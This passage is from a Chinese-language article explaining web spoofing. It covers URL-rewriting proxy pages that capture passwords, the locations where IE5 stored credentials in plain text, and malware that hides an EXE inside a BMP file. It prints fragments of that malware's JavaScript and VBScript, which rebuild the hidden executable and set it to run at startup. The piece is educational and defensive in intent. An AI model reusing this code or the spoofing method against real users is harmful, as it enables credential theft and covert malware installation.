(1)受害體
在web欺騙中我們把攻擊者要欺騙的對象稱為受害體。在攻擊過程中,受害體被欺騙這是攻擊者的第一步。攻擊者想法設法欺騙受害體進行錯誤的決策。而決策的正確與否決定了安全性的與否。比如:當一個用戶在Internet下載一個軟件,系統的安全性告訴你,該網頁有不安全控件是否要運行,這就關系到了用戶選擇是還是否的問題。而在安全的范圍裡,網頁有可能的加載病毒,木馬等。這是受害體決策的問題。在一個小小的例子我們不難看到受害體,在決定是否下載或者運行的時候,或許已經被欺騙。一種盜竊qq的密碼的軟件,當被攻擊者安放在機器上的時候,和騰訊公司一樣的圖標,但是其程序卻指象了在後台運行的盜竊軟件。那麼受害體往往很輕易的運行該軟件,決策帶來非安全性。
(2)掩蓋體
在web欺騙中我們把攻擊者用來制造假象,進行欺騙攻擊中的道具稱為掩蓋體。這些道具可以是:虛假的頁面,虛假的連接,虛假的圖表,虛假的表單,等。攻擊者竭盡全力的試圖制造另受害體完全信服的信息。並引導受害體做一些非安全性的操作。當我們浏覽網頁,通常的網頁的字體,圖片,色彩,聲音,都給受害體,傳達著暗是信息。甚至一些公司的圖形標志也給受害體早成了定視。你再看到“小狐狸”的圖表的時候,不由的就想到了www.sohu.com站點。富有經驗的浏覽器用戶對某些信息的反應就如同富有經驗的駕駛員對交通信號和標志做出的反應一樣。這種虛假的表象對用戶來說同虛假的軍事情報一樣危害。攻擊者很容易制造虛假的搜索。受害體往往通過強大的搜索引擎來尋找所需要的信息。但是這些搜索引擎並沒有檢查網頁的真實性,明明表明著是:xxx站點的標志,但是連接決是yyy站點。而且yyy站點有著和xxx站點網頁虛假的拷貝。
(3)欺騙目的
攻擊者欺騙目的可以是很多。但是直接的目的是拿到用戶的帳戶和信息,甚至一些一些銀行帳戶和密碼。例如,在訪問網上銀行時,你可能根據你所見的銀行Web頁面,從該行的帳戶中提取或存入一定數量的存款。因為你相信你所訪問的Web頁面就是你所需要的銀行的Web頁面。欺騙銀行帳戶和密碼就是攻擊者的目的。
(4)欺騙結果
由於攻擊者可以觀察或者修改任何從受攻擊者到Web服務器的信息;同樣地,也控制著從Web 服務器至受攻擊者的返回數據,這樣攻擊者就有許多發起攻擊的可能性,包括監視和破壞。
攻擊者能夠監視受攻擊者的網絡信息,記錄他們訪問的網頁和內容。當受攻擊者填寫完一個表單並發送後,這些數據將被傳送到Web服務器,Web服務器將返回必要的信息,但不幸的是,攻擊者完全可以截獲並加以使用。大家都知道絕大部分在線公司都是使用表單來完成業務的,這意味著攻擊者可以獲得用戶的帳戶和密碼。下面我們將看到,即使受攻擊者有一個“安全”連接(通常是通過SecureSocketsLayer來實現的,用戶的浏覽器會顯示一把鎖或鑰匙來表示處於安全連接),也無法逃脫被監視的命運。
在得到必要的數據後,攻擊者可以通過修改受攻擊者和Web服務器之間任何一個方向上的數據,來進行某些破壞活動。攻擊者修改受攻擊者的確認數據,例如,如果受攻擊者在線訂購某個產品時,攻擊者可以修改產品代碼,數量或者郵購地址等等。攻擊者也能修改被Web服務器所返回的數據,例如,插入易於誤解或者攻擊性的資料,破壞用戶和在線公司的關系等等。
3:web的攻擊手段
(1)整個網頁的假象
攻擊者安全制造真個網頁的假想。攻擊者只需要制作一個完全的網頁的假象,而沒必要存儲網頁的內容。這種類似與現實中的虛擬的世界,這個虛擬的世界完全的來字於真實世界的拷貝。一些虛假的游戲站點,攻擊者允許用戶在線的修改密碼。而這些密碼將被發送給攻擊者的服務器。圖1就是來自游戲一個站點的虛假網頁。
附加圖的說明
在這個攻擊過程中,攻擊者主要做了如下的手段。
攻擊者修改了web中的url地址,就是說指向攻擊者的Web服務器而不是真正 的Web服務器。
它通過在所有鏈接前加上另外的一個web地址。如攻擊www.distinct.com,可以寫成http://www.distinct.com/http://home.yushi.com,當用戶輸入http://home.yushi.com時,當然用戶可以仍然只看見的是http://home.yushi.com,其實卻進入了www.distinct.com。整個過程是這樣的。
1.用戶點擊經過改寫後 的http://www.distinct.com/http://home.yushi.com;
2.http://www.distinct.com向http://home.yushi.com請求文檔;
3.http://home.yushi.com向http://www.distinct.com返回文檔;
4.http://www.distinct.com改寫文檔中的所有URL;
5.http://www.distinct.com向用戶返回改寫後的文檔。
這個時候,文檔中的url可以利用上面的方法來指向www.distinct.com,用戶就此被欺騙。而且當攻擊者制作了一個表單的提交後,很有可能將你的個人的信息用於了欺騙中。只要遵循標准的Web協議,表單欺騙很自然地不會被察覺:表單的確定信息被編碼到URL中,內容會以HTML形式來返回。
我們來看這個表單的返回。
在上圖中,很顯然,攻擊者把修改的密碼和用戶的表單提交給了攻擊者的服務器。當你填,帳戶為:lishihui密碼為:woaini並修改密碼為:mylover的時候,同樣表單為告訴你:恭喜你,密碼修改成功。同時,密碼和帳戶都將提交給攻擊者。
(2)特殊的網頁的假象
攻擊者可以制造一些特殊的網頁來攻擊用戶。而這些網頁表面上看起來,或許只是一個音樂站點或者只是簡單一副圖片。但是利用通過JavaScript編程或者是perl等網頁語言,受害者會被感染病毒和下載木馬程序。
a) web病毒
這種web欺騙主要是以迫害用戶機器為主。它制作的web看起來,沒有任何的危害。但是你的機器卻被感染了病毒。2002,5月一分混客web病毒,下面我們可以分析一下代碼進行web欺騙的討論。
病毒利用腳本語言javascript寫成,它在發作模塊中寫下了下面的代碼:
a1=document.applets[0];
a1.setCLSID("");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
Net = a1.GetObject();
而後利用函數RegWrite 等向注冊表中寫下健值,通過windows本身的特性來完成它的破壞過程。
知道了它的運行的原理後,編寫它的解決代碼就簡單了,只需要將相應的健值改過來就可以了,我們可以發現的確它的殺毒程序也是這樣的。
b)web木馬
一些windows的漏洞給攻擊者提供了方便。諸如
1。ie的漏洞如IE5.0在訪問FTP站點時的漏洞,即遺留個人密碼資料的弊端。可把你的用戶名和密碼都不加密且以文本的形式直接存儲在歷史紀錄中。他們的具體位置如下:
英文版IE:
c:\winnt\profiles\[username]\history\history.IE5\index.dat和c:\winnt\profiles\[username]\history\history.IE5\mshist
...\index.dat
中文版IE:
c:\winnt\profiles\[username]\cookies\index.dat
2。 IE5.0 ActiveX漏洞 ,這個東西的應用是很多的了,很多的地方我們都可以看到有關它的報道。其他的還有什麼利用 之類的,真是不剩其擾。
另外的還有將可執行的文件改成圖片格式文件的病毒,我們可以來分析一下。
病毒的原理是不同於以前的mime漏洞的,它是將exe文件偽裝成一個BMP圖片文件,欺騙IE自動下載,再利用網頁中的JAVASCRIPT腳本查找客戶端的Internet臨時文件夾,找到下載後的bmp文件,把它拷貝到TEMP目錄.再編寫一個腳本把找到的BMP文件用DEBUG還原成EXE,並把它放到注冊表啟動項中,在下一次開機時執行.
BMP文件的文件頭有54個字節,裡面包含了BMP文件的長寬,位數,文件大小,數據區長度,我們只要在EXE文件的文件頭前面添加相應的BMP文件頭,這樣就可以欺騙IE下載該BMP文件。
它的實現的過程首先是在用戶浏覽的網頁上加入一段感染代碼,他的主要的功能是在本地機器的SYSTEM目錄下生成一個“S.VBS”文件,而後這個腳本將會在下次開機的時候自動的加載,然後從臨時文件夾中查找目標BMP圖片 ,找到後生成一個DEBUG腳本 。
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'下面一行的1000是十六進制,換回十進制是4096(該數字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
程序運行時會自動從BMP文件54字節處讀去你指定大小的數據,並把它保存到tmp.dat中。而後系統啟動的時候自動的運行就達到了目的 。
攻擊者完全可以利用該漏洞下載並自動運行程序。
另外還要注意的一點是,攻擊者為了更好的欺騙用戶下載程序,可以利用修改連接狀態。而實現修改連接狀態,對與老到熟練的攻擊者來講是很容易的事情。由於連接狀態是位於浏覽器底部的提示信息,它提示當前連接的各類信息。Web欺騙中涉及兩類信息。首先,當鼠標放置在Web鏈接上時,連接狀態顯示鏈接所指的URL